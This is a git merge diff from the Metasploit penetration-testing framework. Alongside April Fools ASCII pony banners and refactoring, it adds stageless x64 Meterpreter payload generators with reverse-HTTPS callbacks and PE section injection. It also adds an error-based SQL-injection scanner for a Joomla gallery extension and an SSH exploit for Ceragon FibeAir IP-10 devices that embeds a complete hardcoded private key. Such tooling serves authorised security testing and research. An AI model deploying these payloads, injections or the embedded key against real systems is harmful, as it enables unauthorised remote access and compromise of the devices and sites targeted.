Merge branch 'upstrea/master' into dynamic-transport

Small merge required with the https payload proxy changes.
bug/bundler_fix
OJ 2015-04-03 10:14:48 +10:00
commit fc44f5b1f4
26 changed files with 1019 additions and 77 deletions

35
data/logos/pony-01.aftxt Normal file
View File

@ -0,0 +1,35 @@
 _________________________________________________ 
< This console just got 20% cooler >
 ------------------------------------------------- 
/
/ 
▀▄▄▄▄▄▄▄▄ / 
▀▀▄▄▄▄▄█▄▄▄▄ / 
▄███▄▄▄▄██▄██ / 
▄██▄█▄▄█▄▄██▄███ / 
▄██▄█████▄██▄▄█▄▄ / 
▄███████▄██▄▀▀▄▄██ / 
██████████▄▄▄ ██▄█ / 
██▄███▄███ ▀▀ ████ / 
▀███▄███▄▀ ███ / 
▀ ████▄▀ █▄█ / 
██▄▀█ ▄▄▄▄▄▄▄▄ / 
▀▄█ ▀ ▄▄█▄██████▄▄ / 
▀█ ███▄█████████ / 
▄███▄▄█████████ / 
███████▄██████▄▀ / 
█████▄▄█████████ 
▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄ 
▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀ 
▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄ 
▀▀ ▄███████████████▄▄▄██▄▄███▀▄ 
████▄█████████▄▄▄▄▄█▄▄▄▄▄███ 
███████▄█████▄▄████▄▄██▄██▀▄██ 
▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀ 
▄▄██████████▄▄█▄▄▄▄▄██▄▄▄ 
██▄█████████▄▄▄██████████ 
▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀ 
▄▄████ ████▄██ 
▀▄████ ██▄███ 
▀▄▄▀ ██▀█▀▀ 
█ 

31
data/logos/pony-02.aftxt Normal file
View File

@ -0,0 +1,31 @@
 __________________ 
< Shells are cool. >
 ------------------ 
\ 
\ 
\ 
\ 
\ ▄▄▄▄▄▄▄▄▄ 
███████████ 
▄▄██████████ 
▄▄███████████▄▄ 
▄███████████▄▄▄█▄▄ 
▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄ 
▄▄████▄▄███████████████ 
████████▄▄▄▄█████████▄▀ 
███████▄███▄▄████████ 
▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄ 
▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀ 
▀▄▄▄██████▄█████▄▀ ▄▄███████████▄ 
▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄
███▄▄█▄██████████▄▄ █████▄▄█
▄███▄█████████▄█▄██ ▄▄████ ▀
▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀ 
█████▄▄▄▄█▄███▄▄ █▄▀ 
██████ ▀▄▄██████ ▀ 
▄▄▄████ ████████ 
███████ █████████ 
▄█▄▄█████ █████████ 
█▄███████ █▄▄███████ 
█▄▄▄▄▄█ █▄▄▄▄▄█ 


27
data/logos/pony-03.aftxt Normal file
View File

@ -0,0 +1,27 @@
 ______________________________ 
< I love SHELLS! >
 ------------------------------ 
\ 
\ 
\ 
▄▄██▄█▄▄▄▄ 
▄▄█████▄▄▄▄█▄▄ 
▄▄▄██████████▄▄▄▀ 
██▄▄█▄▄▄▄█▄▄█▄█ 
██▄▄▄████▄▄▄████ 
▄▄████▄▄▄██▄█▄▄▀ 
▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀ 
▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄ 
█████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀ 
████▄█▄█ █▄██▄▄█▄▄▄██▄███ 
▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███ 
▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████ 
█▄█▄███▄▄█ ████▄▄█▄▄▄██▄█ 
▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████ 
▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████ 
▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████ 
▀▀▀ ▄▄███████ ███████ 
▄▄███▄▄██ ▄▄███████ 
██████▀▀▀ ▀▄████▀▀▀ 
▀▀▀▀▀▀ ▀▀▀ 

29
data/logos/pony-04.aftxt Normal file
View File

@ -0,0 +1,29 @@
 ____________________________________ 
< My Little Pwny: Exploits are Magic >
 ------------------------------------ 
\ 
\ 
\ 
▄▄▄▄▄▄▄▄▄▄ 
▄▄█████████▄▄▄▄▄▄▄ 
█▄▄▄████████▄▄▄▄████
█▄▄▄██▄█████▄████████
▄▄▄██████▄▄▄▄▄▄▄▄▄██▄▀ 
████▄████▄▄▄▄▄▄██▄▄█▄▄ 
██████████████████████ 
▀▄███▄███▄██▄▄▄████▀▀ 
▄▄▄▄▄▄▄▄▄ ▀▄██▄▄██▄▄█▄▄▄▄███▄ 
▄▄█████████▄▄ ▀█▄█████▄█▄▄▄█▄███ 
███████▄▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀ 
████████ ▀▄▄▄▄▄███▄██▄▄▄██ 
████████ ▄▄ ▄▄█████▄▄▄▄██████ 
████████▄▄██ ███████████████▄▀ 
▀▄██████▄▄▄▀ ▀▄████████████▄▀ 
▄▄████▄▄██ ▄███▄█▄▄▄▄██▄██ 
█████████▄▀ █████▄▄▀ ██████ 
███▄███▀▀ ███████ ███▄▄▄▄ 
▀▄▄▄▀ ████████ ███████ 
████████ ████▄▄██▄ 
██████▄▄█ ██████▄▄█ 
█▄▄▄▄█ █▄▄▄▄█ 


24
data/logos/pony-05.aftxt Normal file
View File

@ -0,0 +1,24 @@
 ______________________ 
< FREE SHELLS FOREVER!!! >
 ---------------------- 
\ 
\ ▄██▄▄▄ ▄▄▄ 
\ ███▄▄█▄▄▄▄▄▄▄▄▄ 
▄▄▄███▄▄██▄██████▄▄ 
▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████ 
████▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄ 
████ █▄██▄▄███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄ 
███ ██████████▄██████ ██▄▄▄▄█▄▄▄██████ 
▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████ 
▀█ ███▄██████████▄▄███▄██▄▄██████▄▄███████ 
▄▀ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███▄███▄▄██████▄▀ 
▀ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄ 
█████▄▄█▄▄███▄▄▄█ ████▄▄███▄▄
█▄▄█▄▄▄▄▄█▄██▄▄█ ███▄█▄▄▄█▄██
▄▄▄█▄█████▄████ ▀▄█████▄▄██▀
▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄███ ▄
▄▄██▄██▄▄▄▀█▄███▄██▄▀ ▄▄█▄█▄▄█
█▄██████ ███▄▄███▄▀ ▀▄▄▄▄▀▀ 
██████ ▀▀███████ 
▀▀▀▀▀▀ ▀▀▀▀▀▀ 


View File

@ -24,7 +24,14 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
status = try_login(credential)

View File

@ -95,7 +95,14 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = { credential: credential }
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))

View File

@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
nhost = find_internet_connected_address
original_session_host = self.session_host
# If we found a better IP address for this session, change it up
# only handle cases where the DB is not connected here
if !(framework.db && framework.db.active)
# If we found a better IP address for this session, change it
# up. Only handle cases where the DB is not connected here
if nhost && !(framework.db && framework.db.active)
self.session_host = nhost
end
@ -461,6 +461,8 @@ protected
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
# @return [String] The address from which this host reaches the
# internet, as ASCII. e.g.: "192.168.100.156"
# @return [nil] If there is an interface with an address that matches
# {#session_host}
def find_internet_connected_address
ifaces = self.net.config.get_interfaces().flatten rescue []
@ -497,7 +499,9 @@ protected
end
if !nhost
# Find the first non-loopback address
# No internal address matches what we see externally and no
# interface has a default route. Fall back to the first
# non-loopback address
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
if non_loopback
nhost = non_loopback.ip

View File

@ -187,13 +187,6 @@ module Msf::DBManager::Session
via_payload: session.via_payload,
}
if session.exploit_task and session.exploit_task.record
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(task: session_task, session: s )
end
end
# In the case of multi handler we cannot yet determine the true
# exploit responsible. But we can at least show the parent versus
# just the generic handler:
@ -202,6 +195,14 @@ module Msf::DBManager::Session
end
s = ::Mdm::Session.create!(sess_data)
if session.exploit_task and session.exploit_task.record
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(task: session_task, session: s )
end
end
s
}
end

View File

@ -0,0 +1,73 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/parser/x509_certificate'
module Msf
##
#
# Helper functionality for handling of stageless http(s) payloads
#
##
module Handler::ReverseHttp::Stageless
include Msf::Payload::Windows::VerifySsl
def initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
def generate_stageless(&block)
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
rand = Rex::Text.rand_text_alphanumeric(16)
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
unless block_given?
raise ArgumentError, "Stageless generation requires a block argument"
end
# invoke the given function to generate the architecture specific payload
block.call(url) do |dll|
# TODO: figure out this bit
# patch the target ID into the URI if specified
#if opts[:target_id]
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
# if i
# t = opts[:target_id].to_s
# raise "Target ID must be less than 5 bytes" if t.length > 4
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
# print_status("Patching Target ID #{t} into DLL")
# dll[i, u.length] = u
# end
#end
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => true,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
end
end
end
end

View File

@ -51,7 +51,7 @@ module Payload::Windows::StagelessMeterpreter
asm
end
def generate_stageless_meterpreter(url = nil)
def generate_stageless_x86(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
conf = {

View File

@ -0,0 +1,111 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
##
#
# Implements stageless invocation of metsrv in x64
#
##
module Payload::Windows::StagelessMeterpreter_x64
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::ReflectiveDLLLoader
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
db 0x4d, 0x5a ; 'MZ' = "pop r10"
push r10 ; back to where we started
push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls.
; GetPC
call $+5 ; relative call to get location
pop rbx ; pop return value
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
mov r8, rbx ; r8 points to the extension list
mov rbx, rax ; save DllMain for another call
push 4 ; push up 4, indicate that we have attached
pop rdx ; pop 4 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; push 5, indicate that we have detached
pop rdx ; pop 5 into rdx
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
asm
end
def generate_stageless_x64(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
conf = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => datastore['EXITFUNC']
}
asm = asm_invoke_metsrv(conf)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
return
end
# patch the binary with all the stuff
dll[0, bootstrap.length] = bootstrap
# the URL might not be given, as it might be patched in some other way
if url
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
# append each extension to the payload, including
# the size of the extension
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext
end
end
# Terminate the "list" of extensions
dll + [0].pack('V')
end
end
end

View File

@ -28,7 +28,7 @@ module Banner
fdata = "<< Missing banner: #{pathname} >>"
begin
raise ArgumentError unless File.readable?(pathname)
raise ArgumentError unless File.stat(pathname).size < 4096
raise ArgumentError unless File.stat(pathname).size < 16384
fdata = File.open(pathname) {|f| f.read f.stat.size}
rescue SystemCallError, ArgumentError
nil
@ -47,6 +47,8 @@ module Banner
# Easter egg (always a halloween themed logo): export/set THISISHALLOWEEN=1
elsif ( ENV['THISISHALLOWEEN'] || Time.now.strftime("%m%d") == "1031" )
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.hwtxt'))
elsif ( ENV['APRILFOOLSPONIES'] || Time.now.strftime("%m%d") == "0401" )
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.aftxt'))
else
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.txt'))
logos.concat(Dir.glob(::Msf::Config.user_logos_directory + File::SEPARATOR + '*.txt'))

View File

@ -183,12 +183,8 @@ require 'msf/core/exe/segment_appender'
payload = win32_rwx_exec(code)
# Create a new PE object and run through sanity checks
fsize = File.size(opts[:template])
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
text = nil
pe.sections.each {|sec| text = sec if sec.name == ".text"}
#try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
@ -199,6 +195,9 @@ require 'msf/core/exe/segment_appender'
return injector.generate_pe
end
text = nil
pe.sections.each {|sec| text = sec if sec.name == ".text"}
raise RuntimeError, "No .text section found in the template" unless text
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
@ -521,19 +520,16 @@ require 'msf/core/exe/segment_appender'
return injector.generate_pe
end
opts[:exe_type] = :exe_sub
return exe_sub_method(code,opts)
#opts[:exe_type] = :exe_sub
#return exe_sub_method(code,opts)
#
# TODO: 64-bit support is currently failing to stage
#
# Append a new section instead
# appender = Msf::Exe::SegmentAppender.new({
# :payload => code,
# :template => opts[:template],
# :arch => :x64
# })
# return appender.generate_pe
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x64
})
return appender.generate_pe
end
# Embeds shellcode within a Windows PE file implementing the Windows

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Gallery WD for Joomla! Unauthenticated SQL Injection Scanner',
'Description' => %q{
This module will scan for Joomla! instances vulnerable to an unauthenticated SQL injection
within the Gallery WD for Joomla! extension version 1.2.5 and likely prior.
},
'Author' =>
[
'CrashBandicoot', #independent discovery/0day drop
'bperry' #discovery/metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '36563']
],
'DisclosureDate' => 'Mar 30 2015'))
register_options([
OptString.new('TARGETURI', [true, 'Target URI of the Joomla! instance', '/'])
], self.class)
end
def run_host(ip)
right_marker = Rex::Text.rand_text_alpha(5)
left_marker = Rex::Text.rand_text_alpha(5)
flag = Rex::Text.rand_text_alpha(5)
vprint_status("#{peer} - Checking host")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_get' => {
'option' => 'com_gallery_wd',
'view' => 'gallerybox',
'image_id' => '-1',
'gallery_id' => '-1',
'thumb_width' => '180',
'thumb_height' => '90',
'open_with_fullscreen' => 0,
'image_width' => 800,
'image_height' => 500,
'image_effect' => 'fade',
'sort_by' => 'order',
'order_by' => 'asc',
'enable_image_filmstrip' => '',
'image_filmstrip_height' => 0,
'enable_image_ctrl_btn' => 1,
'enable_image_fullscreen' => 1,
'popup_enable_info' => 1,
'popup_info_always_show' => 0,
'popup_hit_counter' => 0,
'popup_enable_rate' => 0,
'slideshow_interval' => 5,
'enable_comment_social' => '',
'enable_image_facebook' => '',
'enable_image_twitter' => '',
'enable_image_google' => '',
'enable_image_pinterest' => '',
'enable_image_tumblr' => '',
'watermark_type' => 'none'
},
'vars_post' => {
'image_id' => "1 AND (SELECT 2425 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)",
'rate' => '',
'ajax_task' => 'save_hit_count',
'task' => 'gallerybox.ajax_search'
}
})
unless res && res.body
vprint_error("#{peer} - Server did not respond in an expected way")
return
end
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
if result
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Gallery WD for Joomla!")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Unauthenticated error-based SQL injection in Gallery WD for Joomla!",
:refs => self.references.select { |ref| ref.ctx_val == "36563" }
})
end
end
end

View File

@ -0,0 +1,149 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Auxiliary::Report
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info, {
'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
'Description' => %q{
Ceragon ships a public/private key pair on FibeAir IP-10 devices
that allows passwordless authentication to any other IP-10 device.
Since the key is easily retrievable, an attacker can use it to
gain unauthorized remote access as the "mateidu" user.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => [
'hdm', # Discovery
'todb' # Metasploit module and advisory text (mostly copy-paste)
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0936'],
['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
['URL', 'https://hdm.io/blog/2015/01/20/partial-disclosure-is-annoying'] # Related issue with hardcoded user:pass
],
'DisclosureDate' => "Apr 01 2015", # Not a joke
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user)
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:key_data => [ key_data ],
:disable_agent => true,
:config => false,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
ssh_socket = nil
return conn
else
return nil
end
end
def exploit
conn = do_login("mateidu")
if conn
print_good "#{rhost}:#{rport} - Successful login"
handler(conn.lsock)
end
end
def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
-----END RSA PRIVATE KEY-----
EOF
end
end

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
module Metasploit4
CachedSize = :dynamic
@ -37,7 +37,7 @@ module Metasploit3
def generate
# blank LHOST indicates bind payload
url = "tcp://:#{datastore['LPORT']}"
generate_stageless_meterpreter(url)
generate_stageless_x86(url)
end
end

View File

@ -5,18 +5,18 @@
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/handler/reverse_http/stageless'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/parser/x509_certificate'
module Metasploit3
module Metasploit4
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Handler::ReverseHttp::Stageless
include Msf::Sessions::MeterpreterOptions
include Msf::Payload::Windows::VerifySsl
def initialize(info = {})
@ -31,48 +31,13 @@ module Metasploit3
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
initialize_stageless
end
def generate
checksum = generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN)
rand = Rex::Text.rand_text_alphanumeric(16)
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
generate_stageless_meterpreter(url) do |dll|
# TODO: figure out this bit
# patch the target ID into the URI if specified
#if opts[:target_id]
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
# if i
# t = opts[:target_id].to_s
# raise "Target ID must be less than 5 bytes" if t.length > 4
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
# print_status("Patching Target ID #{t} into DLL")
# dll[i, u.length] = u
# end
#end
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => true,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
end
# generate a stageless payload using the x86 version of
# the stageless generator
generate_stageless(&method(:generate_stageless_x86))
end
end

View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
module Metasploit4
CachedSize = :dynamic
@ -37,7 +37,7 @@ module Metasploit3
def generate
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
generate_stageless_meterpreter(url)
generate_stageless_x86(url)
end
end

View File

@ -36,7 +36,7 @@ module Metasploit3
def generate
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
generate_stageless_meterpreter(url)
generate_stageless_x86(url)
end
end

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit4
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Bind TCP Inline (x64)',
'Description' => 'Connect to victim and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
# blank LHOST indicates bind payload
url = "tcp://:#{datastore['LPORT']}"
generate_stageless_x64(url)
end
end

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/handler/reverse_http/stageless'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit4
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Handler::ReverseHttp::Stageless
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline (x64)',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseHttps,
